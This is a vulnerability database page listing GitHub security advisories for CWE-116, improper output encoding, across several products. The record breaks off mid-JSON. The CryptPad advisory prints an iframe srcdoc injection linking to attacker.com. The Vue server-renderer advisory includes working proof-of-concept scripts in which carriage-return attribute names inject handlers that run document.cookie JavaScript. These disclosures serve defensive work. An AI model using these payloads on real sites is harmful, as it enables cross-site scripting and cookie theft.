CWE-116
Allowed-with-ReviewImproper Encoding or Escaping of Output
Abstraction: Class · Status: Draft
The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.
806 vulnerabilities reference this CWE, most recent first.
GHSA-FW4X-J9WF-QMP2
Vulnerability from github – Published: 2025-03-21 06:30 – Updated: 2025-03-21 06:30An issue was discovered in OpenSlides before 4.2.5. When creating new chats via the chat_group.create action, the user is able to specify the name of the chat. Some HTML elements such as SCRIPT are filtered, whereas others are not. In most cases, HTML entities are encoded properly, but not when deleting chats or deleting messages in these chats. This potentially allows attackers to interfere with the layout of the rendered website, but it is unlikely that victims would click on deleted chats or deleted messages.
{
"affected": [],
"aliases": [
"CVE-2025-30345"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-21T06:15:27Z",
"severity": "LOW"
},
"details": "An issue was discovered in OpenSlides before 4.2.5. When creating new chats via the chat_group.create action, the user is able to specify the name of the chat. Some HTML elements such as SCRIPT are filtered, whereas others are not. In most cases, HTML entities are encoded properly, but not when deleting chats or deleting messages in these chats. This potentially allows attackers to interfere with the layout of the rendered website, but it is unlikely that victims would click on deleted chats or deleted messages.",
"id": "GHSA-fw4x-j9wf-qmp2",
"modified": "2025-03-21T06:30:28Z",
"published": "2025-03-21T06:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30345"
},
{
"type": "WEB",
"url": "https://www.x41-dsec.de/lab/advisories/x41-2025-001-OpenSlides"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FW85-97W2-FP5V
Vulnerability from github – Published: 2022-05-24 17:42 – Updated: 2022-05-24 17:42Improper Encoding or Escaping of Output from CSV Report Generator of Secomea GateManager allows an authenticated administrator to generate a CSV file that may run arbitrary commands on a victim's computer when opened in a spreadsheet program (like Excel). This issue affects: Secomea GateManager all versions prior to 9.3.
{
"affected": [],
"aliases": [
"CVE-2020-29023"
],
"database_specific": {
"cwe_ids": [
"CWE-116"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-02-16T16:15:00Z",
"severity": "MODERATE"
},
"details": "Improper Encoding or Escaping of Output from CSV Report Generator of Secomea GateManager allows an authenticated administrator to generate a CSV file that may run arbitrary commands on a victim\u0027s computer when opened in a spreadsheet program (like Excel). This issue affects: Secomea GateManager all versions prior to 9.3.",
"id": "GHSA-fw85-97w2-fp5v",
"modified": "2022-05-24T17:42:18Z",
"published": "2022-05-24T17:42:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-29023"
},
{
"type": "WEB",
"url": "https://www.secomea.com/support/cybersecurity-advisory"
},
{
"type": "WEB",
"url": "https://www.secomea.com/support/cybersecurity-advisory/#2418"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-FWHG-JHXM-42V5
Vulnerability from github – Published: 2025-08-27 00:31 – Updated: 2025-08-27 15:33In multiple locations, there is a possible way to access content across user profiles due to URI double encoding. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.
{
"affected": [],
"aliases": [
"CVE-2025-0083"
],
"database_specific": {
"cwe_ids": [
"CWE-116"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-26T23:15:32Z",
"severity": "MODERATE"
},
"details": "In multiple locations, there is a possible way to access content across user profiles due to URI double encoding. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.",
"id": "GHSA-fwhg-jhxm-42v5",
"modified": "2025-08-27T15:33:14Z",
"published": "2025-08-27T00:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0083"
},
{
"type": "WEB",
"url": "https://android.googlesource.com/platform/frameworks/base/+/7ba8c8f63f1b13b127c871749314a242ff022ae2"
},
{
"type": "WEB",
"url": "https://android.googlesource.com/platform/packages/services/Telecomm/+/685c2fc2f6b40bb2113db77da270c7b7220791c4"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2025-03-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FXGQ-9M89-CXJ9
Vulnerability from github – Published: 2026-08-25 18:23 – Updated: 2026-08-25 18:23Summary
eml_parser performs certain validations on potential URL strings to discard bogus values. In versions prior to 3.0.2, this validation was performed before unescaping any HTML entities that might occur in the string. This caused the library to wrongfully reject valid URLs that use HTML entities for the :, /, or . characters. These URLs would then not be included in the list of extracted URLs. Similarly, the host parts of such URLs would not be extracted.
For example, neither the URL https://phishing.example.com nor its host (phishing.example.com) would appear in the parsing result.
Impact
eml_parser is used in email security gateways and SOC pipelines to extract URLs as IOCs. Those URLs are then checked against threat-intel feeds, URL reputation services, and sandboxes. A URL that is not extracted is never checked.
Patches
Since version 3.0.2 the library unescapes all HTML entities in every URL before deciding to accept or reject it. A test was added to prevent regressions.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "eml_parser"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55618"
],
"database_specific": {
"cwe_ids": [
"CWE-116"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-25T18:23:16Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\n`eml_parser` performs certain validations on potential URL strings to discard bogus values. In versions prior to `3.0.2`, this validation was performed before unescaping any HTML entities that might occur in the string. This caused the library to wrongfully reject valid URLs that use HTML entities for the `:`, `/`, or `.` characters. These URLs would then not be included in the list of extracted URLs. Similarly, the host parts of such URLs would not be extracted.\n\nFor example, neither the URL `https\u0026#58;\u0026#47;\u0026#47;phishing\u0026#46;example\u0026#46;com` nor its host (`phishing.example.com`) would appear in the parsing result.\n\n## Impact\n\n`eml_parser` is used in email security gateways and SOC pipelines to extract URLs as IOCs. Those URLs are then checked against threat-intel feeds, URL reputation services, and sandboxes. A URL that is not extracted is never checked.\n\n## Patches\n\nSince version 3.0.2 the library unescapes all HTML entities in every URL before deciding to accept or reject it. A test was added to prevent regressions.",
"id": "GHSA-fxgq-9m89-cxj9",
"modified": "2026-08-25T18:23:16Z",
"published": "2026-08-25T18:23:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/GOVCERT-LU/eml_parser/security/advisories/GHSA-fxgq-9m89-cxj9"
},
{
"type": "WEB",
"url": "https://github.com/GOVCERT-LU/eml_parser/pull/90"
},
{
"type": "WEB",
"url": "https://github.com/GOVCERT-LU/eml_parser/commit/746a69f86443eb0b6a47f77db3cfe727c21f92b3"
},
{
"type": "PACKAGE",
"url": "https://github.com/GOVCERT-LU/eml_parser"
},
{
"type": "WEB",
"url": "https://github.com/GOVCERT-LU/eml_parser/releases/tag/v3.0.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "eml_parser has a URL extraction bypass via HTML entities in URLs"
}
GHSA-G2G4-47GV-P72V
Vulnerability from github – Published: 2026-05-26 19:05 – Updated: 2026-05-26 19:05Summary
CryptPad’s HTML sanitizer in Diffmarked.js can be bypassed due to incomplete filtering of restricted tags.
Because the sanitizer only validates the src attribute of <iframe> <video>, and <audio> elements, and does not restrict other attributes, an attacker can inject arbitrary HTML through srcdoc. This completely defeats CryptPad’s intended bounce sandboxing and allows link injection or other interactive content inside user-controlled documents.
Details
The sanitizer defines forbidden and restricted tags but treats as “restricted” instead of “forbidden”:
https://github.com/cryptpad/cryptpad/blob/0dd3c1f53d56dffb06651b86ead6b9b387920173/www/common/diffMarked.js#L403-L407 The actual enforcement only checks the src attribute, nothing else:
https://github.com/cryptpad/cryptpad/blob/0dd3c1f53d56dffb06651b86ead6b9b387920173/www/common/diffMarked.js#L445-L449
Because only src is validated, adding a benign blob: src but malicious srcdoc results in unrestricted rendering.
PoC
An attacker can embed arbitrary HTML, including clickable external links, images, or interactive content, completely bypassing CryptPad’s bounce mechanism and sanitization:
<iframe src=blob: srcdoc="<a href=https://attacker.com target=_blank>CLICK ME</a>"></iframe>
Although CSP is strict, CryptPad exposes several same-origin gadgets that can execute attacker-controlled code.
For example, jscolor.js dynamically evaluates user-provided options:
https://github.com/cryptpad/cryptpad/blob/0dd3c1f53d56dffb06651b86ead6b9b387920173/www/common/jscolor.js#L65-L71
Impact
Sanitizer bypass, HTML injection and potentially XSS.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "cryptpad"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "5.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-26028"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-26T19:05:10Z",
"nvd_published_at": "2026-05-20T20:16:36Z",
"severity": "MODERATE"
},
"details": "### Summary\nCryptPad\u2019s HTML sanitizer in Diffmarked.js can be bypassed due to incomplete filtering of restricted tags.\nBecause the sanitizer only validates the src attribute of `\u003ciframe\u003e` `\u003cvideo\u003e`, and `\u003caudio\u003e` elements, and does not restrict other attributes, an attacker can inject arbitrary HTML through srcdoc. This completely defeats CryptPad\u2019s intended bounce sandboxing and allows link injection or other interactive content inside user-controlled documents.\n\n### Details\nThe sanitizer defines forbidden and restricted tags but treats \u003ciframe\u003e as \u201crestricted\u201d instead of \u201cforbidden\u201d:\n\nhttps://github.com/cryptpad/cryptpad/blob/0dd3c1f53d56dffb06651b86ead6b9b387920173/www/common/diffMarked.js#L403-L407\nThe actual enforcement only checks the src attribute, nothing else:\n\nhttps://github.com/cryptpad/cryptpad/blob/0dd3c1f53d56dffb06651b86ead6b9b387920173/www/common/diffMarked.js#L445-L449\n\nBecause only src is validated, adding a benign blob: src but malicious srcdoc results in unrestricted rendering.\n### PoC\n\nAn attacker can embed arbitrary HTML, including clickable external links, images, or interactive content, completely bypassing CryptPad\u2019s bounce mechanism and sanitization:\n\n```html\n\u003ciframe src=blob: srcdoc=\"\u003ca href=https://attacker.com target=_blank\u003eCLICK ME\u003c/a\u003e\"\u003e\u003c/iframe\u003e\n```\n\nAlthough CSP is strict, CryptPad exposes several same-origin gadgets that can execute attacker-controlled code.\n\nFor example, `jscolor.js` dynamically evaluates user-provided options:\nhttps://github.com/cryptpad/cryptpad/blob/0dd3c1f53d56dffb06651b86ead6b9b387920173/www/common/jscolor.js#L65-L71\n\n### Impact\nSanitizer bypass, HTML injection and potentially XSS.",
"id": "GHSA-g2g4-47gv-p72v",
"modified": "2026-05-26T19:05:10Z",
"published": "2026-05-26T19:05:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cryptpad/cryptpad/security/advisories/GHSA-g2g4-47gv-p72v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26028"
},
{
"type": "PACKAGE",
"url": "https://github.com/cryptpad/cryptpad"
},
{
"type": "WEB",
"url": "https://github.com/cryptpad/cryptpad/releases/tag/2026.2.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "CryptPad has a Sanitizer Bypass in Diffmarked.js that Allows Arbitrary HTML Injection and Potential XSS"
}
GHSA-G2V6-RQMX-R4W6
Vulnerability from github – Published: 2026-10-05 22:50 – Updated: 2026-10-05 22:50Description
@vue/server-renderer was investigated specifically because it's the one place in Vue where template rendering output becomes a real HTTP response body -- a genuine server-side trust boundary, unlike client-side rendering which only ever affects the same browser session that's already running the app's own JS.
ssrRenderAttrs() (in packages/server-renderer/src/helpers/ssrRenderAttrs.ts) is what compiled SSR output calls for something like <div v-bind="userObject">. It loops over the object's own keys and, for each one, renders it as an HTML attribute:
export function ssrRenderDynamicAttr(
key: string,
value: unknown,
tag?: string,
): string {
if (!isRenderableAttrValue(value)) {
return ``
}
const attrKey = ...
if (isBooleanAttr(attrKey) || ...) {
return includeBooleanAttr(value) ? ` ${attrKey}` : ``
} else if (isSSRSafeAttrName(attrKey)) {
return value === '' ? ` ${attrKey}` : ` ${attrKey}="${escapeHtml(value)}"`
} else {
console.warn(`[@vue/server-renderer] Skipped rendering unsafe attribute name: ${attrKey}`)
return ``
}
}
The value always goes through escapeHtml() -- that part is correctly and consistently applied everywhere in this file. But the attribute name (attrKey) is only checked against a character blacklist, then spliced directly into the output with no escaping of its own:
// packages/shared/src/domAttrConfig.ts
const unsafeAttrCharRE = /[>/="'\u0009\u000a\u000c\u0020]/
export function isSSRSafeAttrName(name: string): boolean {
if (attrValidationCache.hasOwnProperty(name)) {
return attrValidationCache[name]
}
const isUnsafe = unsafeAttrCharRE.test(name)
if (isUnsafe) {
console.error(`unsafe attribute name: ${name}`)
}
return (attrValidationCache[name] = !isUnsafe)
}
That blacklist covers: >, /, =, ", apostrophe, tab (U+0009), line feed (U+000A), form feed (U+000C), and space (U+0020). It does not cover U+000D -- carriage return (CR, written as \r in JS).
That matters because of how browsers actually parse HTML. Per the WHATWG HTML parsing spec, the very first step ("preprocessing the input stream") converts every \r not followed by \n into a \n before the tokenizer even starts. So a raw \r sitting inside what Vue intends as a single attribute name gets turned into a real line feed by the browser -- and a line feed is one of the characters that terminates an attribute name and starts a new one. The blacklist checks the string as Vue sees it before the browser gets to reinterpret it, and that's exactly the gap.
Below is a fresh clone of this repo, confirming the exact commit, the exact vulnerable line, and zero modification to the source:
Prrof
The real, unmodified ssrRenderAttrs() from the published @vue/server-renderer@3.5.41 package was tested. The source at HEAD and the upcoming v3.6.0-rc.2 tag were also checked, and the same vulnerable regular expression was present in both; no branch containing a fix was identified.
Full script, saved as poc.mjs (GitHub doesn't let me attach .mjs directly, so the complete file is here):
import { ssrRenderAttrs } from '@vue/server-renderer';
import { parseFragment } from 'parse5';
// This is exactly what compiled SSR output calls for `<div v-bind="userObject">`
// -- the real, unmodified, published ssrRenderAttrs function.
// Full attack chain: the key itself contains ONLY letters, digits, and a
// bare \r (carriage return) -- no '>', '/', '=', '"', "'", tab, LF, FF, or
// space anywhere, so isSSRSafeAttrName() considers it fully safe. The value
// is attacker-controlled JavaScript, delivered as the genuine value of the
// LAST \r-separated fragment, which Vue's own template naturally appends via
// `="${escapeHtml(value)}"` immediately after the key.
const maliciousKey = 'x\rautofocus\ronfocus';
const props = {
[maliciousKey]: 'alert(document.cookie)',
};
const rawAttrString = ssrRenderAttrs(props);
console.log('=== Raw string produced by the real ssrRenderAttrs() ===');
console.log(JSON.stringify(rawAttrString));
console.log();
console.log('=== As it would literally appear in the HTML response ===');
console.log(rawAttrString.replace(/\r/g, '\\r').replace(/\n/g, '\\n\n'));
const fullHtml = `<div${rawAttrString}>content</div>`;
console.log();
console.log('=== Full element HTML ===');
console.log(JSON.stringify(fullHtml));
// Now parse this EXACT output with parse5 -- a real, spec-compliant HTML5
// parser (the same parsing algorithm real browsers implement, including the
// \r\n -> \n input-preprocessing normalization step).
const fragment = parseFragment(fullHtml);
const div = fragment.childNodes.find(n => n.tagName === 'div');
console.log();
console.log('=== How a real HTML5 parser (parse5) actually interprets this ===');
console.log('Attributes parsed on the <div>:');
for (const attr of div.attrs) {
console.log(` ${JSON.stringify(attr.name)} = ${JSON.stringify(attr.value)}`);
}
const injectedHandler = div.attrs.find(a => a.name === 'onfocus');
const injectedAutofocus = div.attrs.find(a => a.name === 'autofocus');
console.log();
if (injectedHandler && injectedAutofocus) {
console.log('*** CONFIRMED: real, separate "autofocus" and "onfocus" attributes were parsed out ***');
console.log(`*** onfocus value: ${JSON.stringify(injectedHandler.value)} ***`);
console.log('*** This element will execute the attacker JS automatically on page load, no user interaction needed. ***');
} else {
console.log('Not confirmed.');
}
This is a fresh npm install vue@3.5.41 @vue/server-renderer@3.5.41 parse5 -- the real, currently-published packages, not anything modified:
Real, captured output:
=== Raw string produced by the real ssrRenderAttrs() ===
" x\rautofocus\ronfocus=\"alert(document.cookie)\""
=== Full element HTML ===
"<div x\rautofocus\ronfocus=\"alert(document.cookie)\">content</div>"
=== How a real HTML5 parser (parse5) actually interprets this ===
Attributes parsed on the <div>:
"x" = ""
"autofocus" = ""
"onfocus" = "alert(document.cookie)"
*** CONFIRMED: real, separate "autofocus" and "onfocus" attributes were parsed out ***
*** onfocus value: "alert(document.cookie)" ***
The single attribute name Vue intended to render safely -- x\rautofocus\ronfocus -- gets parsed by any real browser as three separate things: an empty x attribute, a real autofocus boolean attribute, and a real onfocus="alert(document.cookie)" event handler. autofocus means the element receives focus automatically on page load, which fires the focus event immediately, which runs the injected JavaScript -- no click, no hover, no user interaction of any kind required.
This behavior was confirmed not to be specific to the payload by first isolating the mechanism with a minimal case ("foo\rbar" as the key, no other special characters at all), which parse5 also split into two genuine separate attributes (foo="" and bar="..."), before building the full self-triggering payload above.
To go beyond the parser-level proof, there is a second script that calls the real ssrRenderAttrs(), captures its exact return value programmatically, and writes that unmodified byte sequence directly into an HTML file on disk -- no HTML was hand-typed anywhere in this step. Full script, saved as generate_real_poc.mjs:
import { ssrRenderAttrs } from '@vue/server-renderer';
import fs from 'fs';
// This is the ACTUAL, unmodified ssrRenderAttrs() from the real, installed
// @vue/server-renderer@3.5.41 -- nothing hand-typed below this line is HTML,
// it is Vue's own function's real return value, captured programmatically.
const maliciousKey = 'x\rsrc\ronerror';
const props = { [maliciousKey]: 'alert("REAL Vue SSR output executed this -- cookie: " + document.cookie)' };
const vueOutput = ssrRenderAttrs(props);
console.log('=== Vue\'s real ssrRenderAttrs() returned exactly this string ===');
console.log(JSON.stringify(vueOutput));
// Build the full page around Vue's UNMODIFIED output -- the <img ...> tag
// content between the angle brackets is copied byte-for-byte from vueOutput,
// not retyped.
const html = `<!DOCTYPE html>
<html>
<head><title>Vue SSR PoC -- byte-for-byte Vue output</title></head>
<body>
<h3>Everything inside the <img> tag below was written to this file
programmatically from the real return value of <code>ssrRenderAttrs()</code>
in the actual installed <code>@vue/server-renderer@3.5.41</code> package.
No HTML was hand-typed for the tag itself.</h3>
<p>Exact JSON-escaped string Vue's function returned (see generate_real_poc.mjs, run right before this file was written):</p>
<pre id="vue-output-proof">${vueOutput.replace(/</g, '<')}</pre>
<hr>
<img${vueOutput}>
</body>
</html>
`;
const outPath = '/Users/onevilx/Desktop/vue-ssr-xss-poc-real.html';
fs.writeFileSync(outPath, html);
console.log('\nWrote', outPath);
console.log('Bytes inside the <img...> tag are Vue\'s real, unmodified return value.');
Opening that generated file in a real browser fires the payload automatically:
Dev tools on that same page confirm the browser genuinely parsed three separate attributes (x, src, onerror), matching the on-page proof text that was written directly from Vue's real return value:
Whether this affects client-side (non-SSR) Vue rendering was also checked: it doesn't, and I want to be upfront about that limit too. Client-side Vue sets dynamic attributes via the DOM setAttribute() API, which validates the name against the HTML QName grammar and throws a DOMException for characters like " (I found an existing, unrelated open issue -- #13944 -- that confirms this behavior). That's a fundamentally different code path with its own validation, and I have not found a way to reach this specific bug through it. This is specifically and only an @vue/server-renderer (SSR) issue.
Impact
This requires an application to bind an object whose keys (not just values) come from a source the developer doesn't fully control, via v-bind="object" or the equivalent compiled form. I want to be honest about how common that is: binding untrusted values into attributes is the standard, everyday Vue pattern that's already safely handled by escapeHtml(). Binding untrusted keys is less universal, but it's a real, documented, supported Vue feature, not a misuse of the framework -- and it's exactly the scenario isSSRSafeAttrName() exists to defend, which tells me it's already inside your own threat model for this file, just not fully closed. Realistic examples: a CMS or form-builder feature where field/attribute names are configurable by a less-trusted role and gets rendered via SSR to other users; a component that spreads a validated-elsewhere config object onto a root element; any dynamic-attributes helper that takes a plain object where both keys and values may originate from external data (a database record, an API response, a query string parsed into an object).
Where it's reachable, the impact is a complete, self-triggering stored XSS in server-rendered HTML -- the injected autofocus/onfocus payload runs the moment the page loads, for every visitor who receives that server-rendered output, with no interaction needed. That's a real trust-boundary break in a security-relevant helper whose entire job is making data safe to render.
Suggested fix
Add U+000D (carriage return) to unsafeAttrCharRE in packages/shared/src/domAttrConfig.ts:
const unsafeAttrCharRE = /[>/="'\u0009\u000a\u000c\u000d\u0020]/
Double-checking against the full WHATWG "ASCII whitespace" definition (tab, LF, FF, CR, space -- all five) rather than enumerating characters one at a time would help, since that's exactly the kind of list that's easy to leave a gap in, which is what happened here.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@vue/server-renderer"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.5.42"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@vue/server-renderer"
},
"ranges": [
{
"events": [
{
"introduced": "3.6.0-rc.0"
},
{
"fixed": "3.6.0-rc.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-05T22:50:55Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Description\n\n`@vue/server-renderer` was investigated specifically because it\u0027s the one place in Vue where template rendering output becomes a real HTTP response body -- a genuine server-side trust boundary, unlike client-side rendering which only ever affects the same browser session that\u0027s already running the app\u0027s own JS.\n\n`ssrRenderAttrs()` (in `packages/server-renderer/src/helpers/ssrRenderAttrs.ts`) is what compiled SSR output calls for something like `\u003cdiv v-bind=\"userObject\"\u003e`. It loops over the object\u0027s own keys and, for each one, renders it as an HTML attribute:\n\n```ts\nexport function ssrRenderDynamicAttr(\n key: string,\n value: unknown,\n tag?: string,\n): string {\n if (!isRenderableAttrValue(value)) {\n return ``\n }\n const attrKey = ...\n if (isBooleanAttr(attrKey) || ...) {\n return includeBooleanAttr(value) ? ` ${attrKey}` : ``\n } else if (isSSRSafeAttrName(attrKey)) {\n return value === \u0027\u0027 ? ` ${attrKey}` : ` ${attrKey}=\"${escapeHtml(value)}\"`\n } else {\n console.warn(`[@vue/server-renderer] Skipped rendering unsafe attribute name: ${attrKey}`)\n return ``\n }\n}\n```\n\nThe value always goes through `escapeHtml()` -- that part is correctly and consistently applied everywhere in this file. But the attribute name (`attrKey`) is only checked against a character blacklist, then spliced directly into the output with no escaping of its own:\n\n```ts\n// packages/shared/src/domAttrConfig.ts\nconst unsafeAttrCharRE = /[\u003e/=\"\u0027\\u0009\\u000a\\u000c\\u0020]/\n\nexport function isSSRSafeAttrName(name: string): boolean {\n if (attrValidationCache.hasOwnProperty(name)) {\n return attrValidationCache[name]\n }\n const isUnsafe = unsafeAttrCharRE.test(name)\n if (isUnsafe) {\n console.error(`unsafe attribute name: ${name}`)\n }\n return (attrValidationCache[name] = !isUnsafe)\n}\n```\n\nThat blacklist covers: `\u003e`, `/`, `=`, `\"`, apostrophe, tab (U+0009), line feed (U+000A), form feed (U+000C), and space (U+0020). It does not cover U+000D -- carriage return (CR, written as `\\r` in JS).\n\nThat matters because of how browsers actually parse HTML. Per the WHATWG HTML parsing spec, the very first step (\"preprocessing the input stream\") converts every `\\r` not followed by `\\n` into a `\\n` before the tokenizer even starts. So a raw `\\r` sitting inside what Vue intends as a single attribute name gets turned into a real line feed by the browser -- and a line feed is one of the characters that terminates an attribute name and starts a new one. The blacklist checks the string as Vue sees it before the browser gets to reinterpret it, and that\u0027s exactly the gap.\n\nBelow is a fresh clone of this repo, confirming the exact commit, the exact vulnerable line, and zero modification to the source:\n\n\u003cimg width=\"781\" height=\"336\" alt=\"poc1\" src=\"https://github.com/user-attachments/assets/f4b92955-9a8f-4700-8c51-38ee46912de8\" /\u003e\n\n## Prrof\n\nThe real, unmodified \u00a0ssrRenderAttrs()\u00a0 from the published \u00a0@vue/server-renderer@3.5.41\u00a0 package was tested. The source at HEAD and the upcoming \u00a0v3.6.0-rc.2\u00a0 tag were also checked, and the same vulnerable regular expression was present in both; no branch containing a fix was identified.\n\nFull script, saved as `poc.mjs` (GitHub doesn\u0027t let me attach `.mjs` directly, so the complete file is here):\n\n```js\nimport { ssrRenderAttrs } from \u0027@vue/server-renderer\u0027;\nimport { parseFragment } from \u0027parse5\u0027;\n\n// This is exactly what compiled SSR output calls for `\u003cdiv v-bind=\"userObject\"\u003e`\n// -- the real, unmodified, published ssrRenderAttrs function.\n// Full attack chain: the key itself contains ONLY letters, digits, and a\n// bare \\r (carriage return) -- no \u0027\u003e\u0027, \u0027/\u0027, \u0027=\u0027, \u0027\"\u0027, \"\u0027\", tab, LF, FF, or\n// space anywhere, so isSSRSafeAttrName() considers it fully safe. The value\n// is attacker-controlled JavaScript, delivered as the genuine value of the\n// LAST \\r-separated fragment, which Vue\u0027s own template naturally appends via\n// `=\"${escapeHtml(value)}\"` immediately after the key.\nconst maliciousKey = \u0027x\\rautofocus\\ronfocus\u0027;\nconst props = {\n [maliciousKey]: \u0027alert(document.cookie)\u0027,\n};\n\nconst rawAttrString = ssrRenderAttrs(props);\nconsole.log(\u0027=== Raw string produced by the real ssrRenderAttrs() ===\u0027);\nconsole.log(JSON.stringify(rawAttrString));\nconsole.log();\nconsole.log(\u0027=== As it would literally appear in the HTML response ===\u0027);\nconsole.log(rawAttrString.replace(/\\r/g, \u0027\\\\r\u0027).replace(/\\n/g, \u0027\\\\n\\n\u0027));\n\nconst fullHtml = `\u003cdiv${rawAttrString}\u003econtent\u003c/div\u003e`;\nconsole.log();\nconsole.log(\u0027=== Full element HTML ===\u0027);\nconsole.log(JSON.stringify(fullHtml));\n\n// Now parse this EXACT output with parse5 -- a real, spec-compliant HTML5\n// parser (the same parsing algorithm real browsers implement, including the\n// \\r\\n -\u003e \\n input-preprocessing normalization step).\nconst fragment = parseFragment(fullHtml);\nconst div = fragment.childNodes.find(n =\u003e n.tagName === \u0027div\u0027);\nconsole.log();\nconsole.log(\u0027=== How a real HTML5 parser (parse5) actually interprets this ===\u0027);\nconsole.log(\u0027Attributes parsed on the \u003cdiv\u003e:\u0027);\nfor (const attr of div.attrs) {\n console.log(` ${JSON.stringify(attr.name)} = ${JSON.stringify(attr.value)}`);\n}\n\nconst injectedHandler = div.attrs.find(a =\u003e a.name === \u0027onfocus\u0027);\nconst injectedAutofocus = div.attrs.find(a =\u003e a.name === \u0027autofocus\u0027);\nconsole.log();\nif (injectedHandler \u0026\u0026 injectedAutofocus) {\n console.log(\u0027*** CONFIRMED: real, separate \"autofocus\" and \"onfocus\" attributes were parsed out ***\u0027);\n console.log(`*** onfocus value: ${JSON.stringify(injectedHandler.value)} ***`);\n console.log(\u0027*** This element will execute the attacker JS automatically on page load, no user interaction needed. ***\u0027);\n} else {\n console.log(\u0027Not confirmed.\u0027);\n}\n```\n\nThis is a fresh `npm install vue@3.5.41 @vue/server-renderer@3.5.41 parse5` -- the real, currently-published packages, not anything modified:\n\n\u003cimg width=\"831\" height=\"531\" alt=\"poc2\" src=\"https://github.com/user-attachments/assets/ea350948-4c93-45a3-b21a-f21dc7f90d29\" /\u003e\n\nReal, captured output:\n\n```\n=== Raw string produced by the real ssrRenderAttrs() ===\n\" x\\rautofocus\\ronfocus=\\\"alert(document.cookie)\\\"\"\n\n=== Full element HTML ===\n\"\u003cdiv x\\rautofocus\\ronfocus=\\\"alert(document.cookie)\\\"\u003econtent\u003c/div\u003e\"\n\n=== How a real HTML5 parser (parse5) actually interprets this ===\nAttributes parsed on the \u003cdiv\u003e:\n \"x\" = \"\"\n \"autofocus\" = \"\"\n \"onfocus\" = \"alert(document.cookie)\"\n\n*** CONFIRMED: real, separate \"autofocus\" and \"onfocus\" attributes were parsed out ***\n*** onfocus value: \"alert(document.cookie)\" ***\n```\n\n\u003cimg width=\"834\" height=\"897\" alt=\"poc3\" src=\"https://github.com/user-attachments/assets/a92f9c5b-e30d-4968-9ec1-8969628c6437\" /\u003e\n\u003cimg width=\"834\" height=\"896\" alt=\"poc4\" src=\"https://github.com/user-attachments/assets/a397cd3f-8eb3-49af-9604-a31a8bcdb2ea\" /\u003e\n\nThe single attribute name Vue intended to render safely -- `x\\rautofocus\\ronfocus` -- gets parsed by any real browser as three separate things: an empty `x` attribute, a real `autofocus` boolean attribute, and a real `onfocus=\"alert(document.cookie)\"` event handler. `autofocus` means the element receives focus automatically on page load, which fires the `focus` event immediately, which runs the injected JavaScript -- no click, no hover, no user interaction of any kind required.\n\nThis behavior was confirmed not to be specific to the payload by first isolating the mechanism with a minimal case (`\"foo\\rbar\"` as the key, no other special characters at all), which parse5 also split into two genuine separate attributes (`foo=\"\"` and `bar=\"...\"`), before building the full self-triggering payload above.\n\nTo go beyond the parser-level proof, there is a second script that calls the real `ssrRenderAttrs()`, captures its exact return value programmatically, and writes that unmodified byte sequence directly into an HTML file on disk -- no HTML was hand-typed anywhere in this step. Full script, saved as `generate_real_poc.mjs`:\n\n```js\nimport { ssrRenderAttrs } from \u0027@vue/server-renderer\u0027;\nimport fs from \u0027fs\u0027;\n\n// This is the ACTUAL, unmodified ssrRenderAttrs() from the real, installed\n// @vue/server-renderer@3.5.41 -- nothing hand-typed below this line is HTML,\n// it is Vue\u0027s own function\u0027s real return value, captured programmatically.\nconst maliciousKey = \u0027x\\rsrc\\ronerror\u0027;\nconst props = { [maliciousKey]: \u0027alert(\"REAL Vue SSR output executed this -- cookie: \" + document.cookie)\u0027 };\n\nconst vueOutput = ssrRenderAttrs(props);\n\nconsole.log(\u0027=== 